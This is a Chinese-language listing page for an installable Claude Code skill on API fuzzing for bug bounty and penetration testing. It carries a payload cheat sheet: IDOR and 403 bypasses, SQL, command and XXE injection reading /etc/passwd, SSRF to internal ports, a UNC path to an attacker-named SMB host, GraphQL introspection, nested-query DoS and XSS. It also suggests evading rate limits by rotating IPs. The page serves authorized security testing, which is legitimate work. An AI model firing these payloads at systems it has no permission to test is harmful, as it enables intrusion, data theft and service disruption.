mcpField
A
API Fuzzing for Bug Bounty

API Fuzzing for Bug Bounty

github.com/davila7安全33.0k268 次安装今天更新
代码仓库

关于 API Fuzzing for Bug Bounty

供漏洞赏金研究者和渗透测试人员评估 REST、SOAP 与 GraphQL API 的安全测试技能,整理了端点侦察及 IDOR、认证弱点、注入和限流绕过等测试方法。

主要功能

  1. 01枚举 API 端点和版本
  2. 02测试认证与授权控制
  3. 03检查 IDOR 和数据暴露
  4. 04探测注入及 HTTP 方法问题
  5. 05评估 GraphQL 架构与攻击面
  6. 06参考 API 测试工具和检查清单

适用场景

  1. 01在漏洞赏金测试中评估 REST API
  2. 02测试 GraphQL 访问控制与架构暴露
  3. 03检查 API 认证和限流机制
  4. 04记录未授权访问或注入发现

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/davila7/claude-code-templates --skill api-fuzzing-for-bug-bounty

安装后在 Claude Code 中输入/api-fuzzing-for-bug-bounty确认已加载。

详细介绍

漏洞赏金中的 API 模糊测试

目的

在漏洞赏金狩猎和渗透测试任务中,提供测试 REST、SOAP 和 GraphQL API 的全面技术。涵盖漏洞发现、身份验证绕过、IDOR 利用以及 API 特有的攻击向量。

输入/前提条件

  • Burp Suite 或类似的代理工具
  • API 字典(SecLists、api_wordlist)
  • 了解 REST/GraphQL/SOAP 协议
  • 用于编写脚本的 Python
  • 目标 API 端点及文档(如有)

输出/交付成果

  • 已发现的 API 漏洞
  • IDOR 利用证明
  • 身份验证绕过技术
  • SQL 注入点
  • 未授权数据访问文档

API 类型概览

类型协议数据格式结构
SOAPHTTPXMLHeader + Body
RESTHTTPJSON/XML/URL已定义的端点
GraphQLHTTP自定义查询单一端点

核心工作流

步骤 1:API 侦察

识别 API 类型并枚举端点:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json
步骤 2:身份验证测试
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls
步骤 3:IDOR 测试

不安全的直接对象引用是最常见的 API 漏洞:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /[email protected]

# Test /me/orders vs /user/654321/orders

IDOR 绕过技术:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
步骤 4:注入测试

JSON 中的 SQL 注入:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

命令注入:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE 注入:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

通过 API 进行 SSRF:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine 漏洞:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
步骤 5:方法测试
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

GraphQL 专项测试

内省查询

获取整个后端架构:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL 编码版本:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}
GraphQL IDOR
# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}
GraphQL SQL/NoSQL 注入
mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}
速率限制绕过(批处理)
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
GraphQL DoS(嵌套查询)
query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}
GraphQL XSS
# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
GraphQL 工具
工具用途
GraphCrawler架构发现
graphw00f指纹识别
clairvoyance架构重建
InQLBurp 扩展
GraphQLmap漏洞利用

端点绕过技术

收到 403/401 时,尝试以下绕过方法:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

输出利用

PDF 导出攻击

<iframe src="file:///etc/passwd" height=1000 width=800>


<object data="http://127.0.0.1:8443"/>


<img src="http://127.0.0.1:445"/>


<img src="https://iplogger.com/yourcode.gif"/>
通过限制发起 DoS 攻击
# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

常见 API 漏洞检查清单

漏洞描述
API 暴露未受保护的端点公开暴露
缓存配置错误敏感数据被错误缓存
令牌暴露响应或 URL 中包含 API 密钥/令牌
JWT 弱点签名强度弱、没有过期时间、算法混淆
IDOR / BOLA对象级授权失效
未记录的端点隐藏的管理/调试端点
不同版本较旧 API 版本存在安全漏洞
速率限制缺少速率限制或可绕过
竞态条件TOCTOU 漏洞
XXE 注入利用 XML 解析器
内容类型问题在 JSON/XML 之间切换
HTTP 方法篡改滥用 GET→DELETE/PUT

快速参考

漏洞测试载荷风险
IDOR修改 user_id 参数高
SQLi在 JSON 中使用 ' OR 1=1--严重
命令注入; ls /严重
XXE带有 ENTITY 的 DOCTYPE高
SSRF在参数中使用内部 IP高
速率限制绕过批量请求中
方法篡改GET→DELETE高

工具参考

类别工具URL
API 模糊测试Fuzzapigithub.com/Fuzzapi/fuzzapi
API 模糊测试API-fuzzergithub.com/Fuzzapi/API-fuzzer
API 模糊测试Astragithub.com/flipkart-incubator/Astra
API 安全apicheckgithub.com/BBVA/apicheck
API 发现Kiterunnergithub.com/assetnote/kiterunner
API 发现openapi_security_scannergithub.com/ngalongc/openapi_security_scanner
API 工具包APIKitgithub.com/API-Security/APIKit
API 密钥API Guesserapi-guesser.netlify.app
GUIDGUID Guessergist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQLInQLgithub.com/doyensec/inql
GraphQLGraphCrawlergithub.com/gsmith257-cyber/GraphCrawler
GraphQLgraphw00fgithub.com/dolevf/graphw00f
GraphQLclairvoyancegithub.com/nikitastupin/clairvoyance
GraphQLbatchqlgithub.com/assetnote/batchql
GraphQLgraphql-copgithub.com/dolevf/graphql-cop
字典列表SecListsgithub.com/danielmiessler/SecLists
Swagger 解析器Swagger-EZrhinosecuritylabs.github.io/Swagger-EZ
Swagger 路由swagroutesgithub.com/amalmurali47/swagroutes
API 思维导图MindAPIdsopas.github.io/MindAPI/play
JSON 路径json2pathsgithub.com/s0md3v/dump/tree/master/json2paths

限制

必须:

  • 分别测试移动端、Web 和开发者 API
  • 检查所有 API 版本(/v1、/v2、/v3)
  • 验证经过身份验证和未经身份验证的访问

禁止:

  • 假定不同 API 版本使用相同的安全控制
  • 跳过未记录的端点测试
  • 忽略速率限制检查

应该:

  • 添加 X-Requested-With: XMLHttpRequest 标头以模拟前端
  • 检查 archive.org 中的历史 API 端点
  • 测试敏感操作是否存在竞态条件

示例

示例 1:IDOR 利用
# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data
示例 2:GraphQL 内省
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

故障排除

问题解决方案
API 未返回任何内容添加 X-Requested-With: XMLHttpRequest 标头
所有端点均返回 401尝试添加 ?user_id=1 参数
GraphQL 内省已禁用使用 clairvoyance 重建架构
受到速率限制使用 IP 轮换或批量请求
找不到端点检查 Swagger、archive.org 和 JS 文件

评论

支持 Markdown